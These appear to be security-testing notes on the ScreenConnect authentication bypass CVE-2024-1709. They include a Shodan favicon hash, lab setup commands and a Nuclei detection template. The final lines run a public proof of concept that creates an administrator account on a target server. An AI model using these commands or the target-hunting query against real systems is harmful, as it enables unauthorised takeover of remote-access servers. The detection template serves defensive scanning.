CVE-2024-1709

icon_hash="-82958153"

tar -zxvf ScreenConnect_20.3.31734.7751_Release.tar.gzcd ScreenConnect_20.3.31734.7751_Install

id: CVE-2024-1709

info:  name: ConnectWise ScreenConnect 23.9.7 - Authentication Bypass  author: johnk3r  severity: critical  description: |    ConnectWise ScreenConnect 23.9.7 and prior are affected by an Authentication Bypass Using an Alternate Path or Channel vulnerability, which may allow an attacker direct access to confidential information or critical systems.  reference:    - https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass    - https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc    - https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8    - https://nvd.nist.gov/vuln/detail/CVE-2024-1709  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H    cvss-score: 10.0    cve-id: CVE-2024-1709    cwe-id: CWE-288  metadata:    verified: true    max-request: 1    vendor: connectwise    product: screenconnect    shodan-query: http.favicon.hash:-82958153  tags: cve,cve2024,screenconnect,connectwise,auth-bypass,kev

variables:  string: "{{rand_text_alpha(10)}}"

http:  - method: GET    path:      - "{{BaseURL}}/SetupWizard.aspx/{{string}}"

    matchers-condition: and    matchers:      - type: word        part: body        words:          - "SetupWizardPage"          - "ContentPanel SetupWizard"        condition: and

      - type: status        status:          - 200

    extractors:      - type: kval        part: header        kval:          - Server# digest: 4a0a004730450220564c9949c406c35520203b46a2a34bba505d1cadfde47e8a38f9a073264e97f0022100ff2a065d66fa48b8502a068445d833e6700efd1e9715d034f1ea16e91696bd06:922c64590222798bb761d5b6d8e72950

nuclei.exe -l data/CVE-2024-1709.txt -t mypoc/cve/CVE-2024-1709.yaml

https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc

python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!